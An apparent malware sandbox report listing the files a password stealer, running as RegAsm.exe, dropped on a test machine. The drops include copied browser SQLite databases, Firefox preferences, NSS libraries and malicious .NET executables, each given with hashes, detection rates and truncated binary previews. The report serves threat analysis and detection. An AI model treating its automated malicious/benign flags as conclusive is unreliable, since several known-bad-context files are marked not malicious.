Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\BFCFBF-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\BKECFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\CBFCFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\DBKKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\GCGDHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\HCAEHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\JDAFBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\JJDBAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\KEBFHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\KEBFHI-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJ\KKKJEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJJECFIECBGDGCAAAEHIEGDGCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECGHIJDGC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	279943
Entropy (8bit):	7.984927355216634
Encrypted:	false
SSDEEP:	6144:mJFfT/jYUJeue8lIEZ1gZuTv+S89GOFEGT9GAES:yXpw82e1gG1O+GT9f
MD5:	13BC0215BDCC61246E89816896B7ED06
SHA1:	005C375B93D63FFFF6B653C3FABBFD2622BE71A4
SHA-256:	CF32C65B653C8D56548FD16554ACE5885E4E64FE145ADD15E48989B90F3230D9
SHA-512:	A66CB8386434116FE46C7AAD7C08264AA7AE67A65E01D011E5CAB690216E9EB607061AEF6106DB4C210D36DEBA06BAC7F29DD6B35DFCC55950CE6F657F709C5D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................<...........[... ...`....@.. ....................................`..................................Z..W....`...............H..(&..........\|Y............................................... ............... ..H............text....;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............F..............@..B.................Z......H........I..............................................................$...K......Y.+...p.........Q#.E..a.A3.b/{.g..2....h.%.....u...S...>I....P....^.{....{...d.l..t#.@.b.4.F.7.V....jz?...<.....N.#......@.H'.X.....n..E.H.hV.;H..Yg.}.}._.......%r:..KUt...<.V..M.c.......L.).b'.9..'...v..8."p.#..W.yp..m.W.G..6.. ......r}.)h.q9...&6.....`v.6l.l...!..@..Cn...p....6:b.36..Z.z1.^.^..c{.J...9#.&..pT..w.[HKs&..4."?i,n..5\|......fn..z.e..H..e......q...m.....A.

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: IM5Ov6yzm3CzKUodDTWqZSXo.exe, Detection: malicious, Browse Filename: aNj1aFSOxohqZwe847hVpx4K.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userAAAAKJKJEB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	290344
Entropy (8bit):	7.979181707012112
Encrypted:	false
SSDEEP:	6144:mJFfT/jYUJeue8lIEZ1gZuTv+S89GOFEGT9GAES9EO:yXpw82e1gG1O+GT9fLEO
MD5:	449D3F0970FC9CD91A8F4BEA664A0CD6
SHA1:	2A2624A79AFAF0FCB01C44F8106C8BF8933106E0
SHA-256:	33DA286E78538E3F5EDA7B23C70578A1FDA8A5B98069BD269B8A6035BABE2B23
SHA-512:	E7888F333695F9FE1CDA7DB15F154A1261EC7CB1B67E6EFB9B5C19183F5B092BEA736CA768A60A5F102982A3C8E5EA1BD79035AB15F3DB37C104DAD9C5A48D33
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................<...........[... ...`....@.. ....................................`..................................Z..W....`...............H..(&..........\|Y............................................... ............... ..H............text....;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............F..............@..B.................Z......H........I..............................................................$...K......Y.+...p.........Q#.E..a.A3.b/{.g..2....h.%.....u...S...>I....P....^.{....{...d.l..t#.@.b.4.F.7.V....jz?...<.....N.#......@.H'.X.....n..E.H.hV.;H..Yg.}.}._.......%r:..KUt...<.V..M.c.......L.).b'.9..'...v..8."p.#..W.yp..m.W.G..6.. ......r}.)h.q9...&6.....`v.6l.l...!..@..Cn...p....6:b.36..Z.z1.^.^..c{.J...9#.&..pT..w.[HKs&..4."?i,n..5\|......fn..z.e..H..e......q...m.....A.

C:\Users\userCGCFCBAKKF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	329256
Entropy (8bit):	7.98532814553487
Encrypted:	false
SSDEEP:	6144:oI3b/s2lhUi8YnmKyLZrBjyw3iJNzR6jyj7gDcIP0AHiJ/e8s8Bx+rEEO:z3bE26YmKy15nMMujstc+qBxfEO
MD5:	5831EBCED7B72207603126ED67601C28
SHA1:	2BA46B54074675CC132B2C4EB6F310B21C7D7041
SHA-256:	02097348DB100EB22D46DC474A1078B5DDBB56EE916CC81F24FADD0A6938AC58
SHA-512:	A9924EF2373851156D981BC3C5B5D533E8B510ABF6C3F12E62AF0C019E740F0D077EFB8F7F93699D797335DF33013C72FD9EAD3B2253DD82F14B7B330FAACB8E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@............`.....................................K.......................(&... ....................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H...........(................................................................W.0.}..3.....q..X],Z%&..+...)e.....\\|...m.-..P,..A.B?.S...#...s0..l.5%.c+E.q..k.5..~..,......?9....-....Q....}H9...gV....+.@rp...m..OE.2...5=\.....b...>......w...mYj..rS....0h...}qK.e..z..R...nD........R..ClC.M\|..:.y.M.ku...Z..ee.E.^3..:6W=..:.h.d......i....G...e....5.......F5..%.u5.h...n..fh..<[.3.GK.>%~..`....yJhs..]..xTU:.4...T.?9...p......z?..R..m<e+..,..:K.-_...T\.s

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DGHIDAFCGI.exe.log

Download File

Process:	C:\ProgramData\DGHIDAFCGI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	137
Entropy (8bit):	5.202653706100432
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WyMLDRJ4LNRLFS9Am12MFuAvOAsyQHxW+uCv:Q3La/xwchM3RJoDLIP12MUAvvR+uCv
MD5:	8A8F1E8A778DFF107B41EA564681FE7B
SHA1:	08EFCFDC3E33281B2B107D16B739B72AF4898041
